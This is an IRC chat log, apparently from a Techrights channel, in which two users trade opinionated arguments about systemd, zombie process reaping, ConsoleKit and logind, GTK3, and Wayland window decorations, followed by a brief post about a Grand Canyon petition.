MinceRhere's an example of a typical OpenBSD rc script: http://www.openbsd.org/faq/ports/specialtopics.html#RcScriptsMar 14 18:33
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MinceRoh, you mean restart if it dies?Mar 14 18:33
XRevan86MinceR: No, just restart. "restart if it dies" is not implemented for sure.Mar 14 18:34
MinceRso, where do these units describe how to restart the service?Mar 14 18:34
XRevan86MinceR: systemd knows about forked processes.Mar 14 18:35
MinceRall i see is "Restart=always", which doesn't look like a command lineMar 14 18:35
MinceRso they don'tMar 14 18:35
XRevan86MinceR: It will work.Mar 14 18:35
XRevan86it does work, I meanMar 14 18:35
MinceRand you can tell just by looking at runscripts that they won't. interesting.Mar 14 18:35
MinceRit's the usual routine of people telling me that systemd is absolutely necessary for certain things to work, while they work just fine on the computers i'm using without systemd.Mar 14 18:36
XRevan86MinceR: Yes, because they have a way to start anything at all.Mar 14 18:36
XRevan86do anythingMar 14 18:36
MinceRooh, that must be magic.Mar 14 18:36
XRevan86systemd has some limitationsMar 14 18:36
XRevan86and Type=Mar 14 18:36
XRevan86MinceR: no magickMar 14 18:36
MinceRsurely not the Almighty Systemd?Mar 14 18:37
XRevan86"Type=simple" which is the default means that ExecStart starts something undaemonizedMar 14 18:37
XRevan86and so systemd looks for it and its childrenMar 14 18:37
XRevan86and kills it with systemctl stop fooMar 14 18:38
XRevan86in anything more is required, there is ExecStopMar 14 18:38
XRevan86and restart == stop & startMar 14 18:38
XRevan86and so autorestart can also be implemented since systemd knows when a process is killedMar 14 18:39
XRevan86MinceR: With plain scripts you simply have to define stop() behavior, overwise there is none. And so I see runit doesn't have it.Mar 14 18:39
MinceRafaik most of these service managers assume by default that the service doesn't fork, as it shouldn'tMar 14 18:41
MinceRsome of them include tools to work around those who insist on forkingMar 14 18:41
XRevan86MinceR: Yeah, systemd does that.Mar 14 18:42
XRevan86Type=forkingMar 14 18:42
MinceRit's a pity systemd still doesn't do the one thing pid1 should properlyMar 14 18:42
MinceRthat is, reaping zombiesMar 14 18:42
XRevan86MinceR: It does that.Mar 14 18:42
MinceRno, it does not.Mar 14 18:42
XRevan86overwise there would be a lot of zombies everywhereMar 14 18:42
MinceRi've seen reports of hundreds of zombies on systemd machines.Mar 14 18:43
XRevan86MinceR: I've seen something like that once.Mar 14 18:43
MinceRhttps://bugs.freedesktop.org/show_bug.cgi?id=41625Mar 14 18:43
XRevan86Don't remember the cause.Mar 14 18:43
-TechrightsBot-tr/#techrights-bugs.freedesktop.org | Bug 41625 – systemd apparently doesn't reap zombies [ http://ur1.ca/jwt51 ]Mar 14 18:43
MinceRit's cute how they believe it's not their bugMar 14 18:43
MinceRi wonder which process is supposed to reap zombies in their opinionMar 14 18:44
XRevan86systemd was kinda disfunctional back thenMar 14 18:44
XRevan86I don't remember what exactly I didMar 14 18:44
XRevan86to make it stop working, I meanMar 14 18:44
MinceRyet they were forcing it everywhereMar 14 18:45
MinceRand it's still dysfunctionalMar 14 18:45
MinceRand they've managed to force it on most distrosMar 14 18:45
XRevan86MinceR: I meant disfunctional zombie killing.Mar 14 18:45
XRevan86which I had onceMar 14 18:45
XRevan86maybe I'll remember tomorrowMar 14 18:46
MinceReven the one-liner init does it properlyMar 14 18:46
MinceRhow difficult can it be?Mar 14 18:46
XRevan86> yet they were forcing it everywhereMar 14 18:46
XRevan86They don't do marketing you know.Mar 14 18:46
MinceRi doubt thatMar 14 18:47
MinceRhere's a systemd apologist doing marketing for them right now :>Mar 14 18:47
XRevan86MinceR: They didn't ask %).Mar 14 18:47
XRevan86MinceR: Also I didn't start this <:Mar 14 18:48
MinceRapparently i didMar 14 18:49
MinceRapparently i went and held the debian TC at gunpoint to force them to turn debian into lendowsMar 14 18:49
XRevan86MinceR: In the same way I can call you a Microsoft spy who destablize the GNU/Linux platform by making the component adopted by so many good distros look bad :-P.Mar 14 18:50
MinceRit's not the GNU/Linux platform anymore, it's the systemd/Linux platformMar 14 18:53
MinceRand red hat and the systemd cult is destabilizing GNU/LinuxMar 14 18:53
XRevan86GPL/Linux then maybe?Mar 14 18:53
MinceRno, systemd is LGPL-edMar 14 18:55
XRevan86MinceR: Cult? systemd devs didn't accept KDE guys into a cult organization as far as I know.Mar 14 18:56
XRevan86They also didn't kill ConsoleKit.Mar 14 18:56
MinceRalso, its dbus APIs open the door for proprietary blob implementationsMar 14 18:56
MinceRwell, they abandoned ConsoleKitMar 14 18:56
MinceRafaik some Devuan developer is adopting itMar 14 18:56
XRevan86They've made an API that was nessesary in a way they develop things.Mar 14 18:57
MinceRyeah, because commands are impossible to execute nowMar 14 18:57
XRevan86logind is a needed thing, I mean.Mar 14 18:57
MinceRand conveniently with kdbus they'll make those APIs impossible to implement on any other kernel, including HURDMar 14 18:57
MinceRnot by me, certainly.Mar 14 18:57
XRevan86and so think GNOME and KDE developersMar 14 18:58
MinceRand the FSF just stands by and cheers them on as they destroy HURD.Mar 14 18:58
XRevan86Since there is now a thing called LoginKit, it's not such Evil anyway.Mar 14 18:58
MinceRno thanks to the cancerd cultMar 14 18:58
XRevan86still apparently LoginKit has the same issues as ConsoleKit as is a layer above itMar 14 18:59
XRevan86so can't really be an example of "we don't need systemd devs to make GNU/Linux evolve"Mar 14 19:00
MinceRgood thing systemd is here to save usMar 14 19:00
XRevan86Okay, now I sound like a fanatic.Mar 14 19:00
MinceRthat's because you are.Mar 14 19:00
MinceRhttp://without-systemd.org/wiki/index.php/Arguments_against_systemdMar 14 19:02
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XRevan86MinceR: I just don't like some kind of statements.Mar 14 19:32
MinceRi don't like the bad design and code poettering, red hat and gnome people are pushing and i don't like the brutally aggressive way they're doing so.Mar 14 19:33
XRevan86MinceR: Can you believe I am told to be a Ukranian Maidan supporter and an anti-Ukrainian independence soviet communist?Mar 14 19:33
MinceRi also don't like that clueless windows users are taking over free software and free unix-like operating systemsMar 14 19:34
MinceRclueless apple users tooMar 14 19:34
MinceRXRevan86: by the same person?Mar 14 19:35
XRevan86MinceR: No, by persons who have the opposite to these viewsMar 14 19:35
MinceRthey seem to be more or less the opposite of each otherMar 14 19:35
XRevan86different sides of the barricade hate me equallyMar 14 19:36
XRevan86> code poetteringMar 14 19:38
XRevan86http://cgit.freedesktop.org/systemd/systemd/log/Mar 14 19:38
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XRevan86> and i don't like the brutally aggressive way they're doing soMar 14 19:40
XRevan86GNOME guys are the different story.Mar 14 19:40
XRevan86the do things in a way "do to hell, we do innovations in our own Apple^W GNOME way"Mar 14 19:40
XRevan86go to*Mar 14 19:40
MinceRand they've infiltrated the management of debian and they're pushing their agenda there as wellMar 14 19:41
XRevan86I don't think shit like Gtk3 in a general Red Hat policy.Mar 14 19:41
MinceRafaik gnome is mainly backed by red hatMar 14 19:42
MinceRand unfortunately gtk is managed by gnome peopleMar 14 19:42
XRevan86MinceR: It's backed by them, yeah. It doesn't mean Red Hat influence GNOME.Mar 14 19:42
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MinceRfollow the money.Mar 14 19:43
XRevan86Gtk3 is a true downer of desktop GNU/Linux.Mar 14 19:43
XRevan86making life harder in $PLACE_NOT_GNOMEMar 14 19:44
XRevan86_AND_UNITYMar 14 19:44
XRevan86True though that Gtk3 is easier for developers than Gtk2, but from users perception there is only one advantage: native Wayland support.Mar 14 19:46
MinceRand in accordance with wayland, gtk3 supports client-side decorationsMar 14 19:47
MinceRanother idiotic thing from windows.Mar 14 19:47
MinceRand most wayland implementations only support client-side decorationsMar 14 19:48
XRevan86MinceR: From what I see, Wayland doesn't have a problem with window decorations.Mar 14 19:48
MinceRit doesn't have a problem with them, as long as the client draws and manages themMar 14 19:48
MinceRfinally if an application freezes, you can have unmanageable windowsMar 14 19:48
XRevan86MinceR: Weston does draw somethingMar 14 19:48
MinceRthough at least you can probably do something to them via a panelMar 14 19:49
MinceRfinally they can have all the bugs they liked in windows.Mar 14 19:49
XRevan86http://i1-linux.softpedia-static.com/screenshots/Wayland_1.pngMar 14 19:49
MinceRwhat terminal application is that?Mar 14 19:49
XRevan86MinceR: Looks like wltermMar 14 19:50
XRevan86or how does the default thingy calledMar 14 19:51
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XRevan86Good night.Mar 14 19:53
XRevan86MinceR: I'll try tomorrow to start something native on Weston to see if there are decorations.Mar 14 19:53
XRevan86unless I'll forget to do so %)Mar 14 19:53
MinceRafaik the wayland implementation gnome uses is mutter, thoughMar 14 19:54
MinceRgn XRevan86 Mar 14 19:54
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MinceR"wlterm draws its own decoration"Mar 14 19:58
MinceRso much for that.Mar 14 19:58
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DaemonFCRyan FarmerMar 14 22:51
DaemonFC2 mins · Mar 14 22:51
DaemonFChttp://action.sumofus.org/a/grand-canyon/Mar 14 22:51
DaemonFCOh this is bullshit. They want to blight the Grand Canyon with a shopping mall. What the hell is wrong with you people!?!?Mar 14 22:51
-TechrightsBot-tr/#techrights-action.sumofus.org | Stop the super mall in the Grand Canyon! | SumOfUs [ http://ur1.ca/jww00 ]Mar 14 22:51
MinceRgnMar 14 23:18

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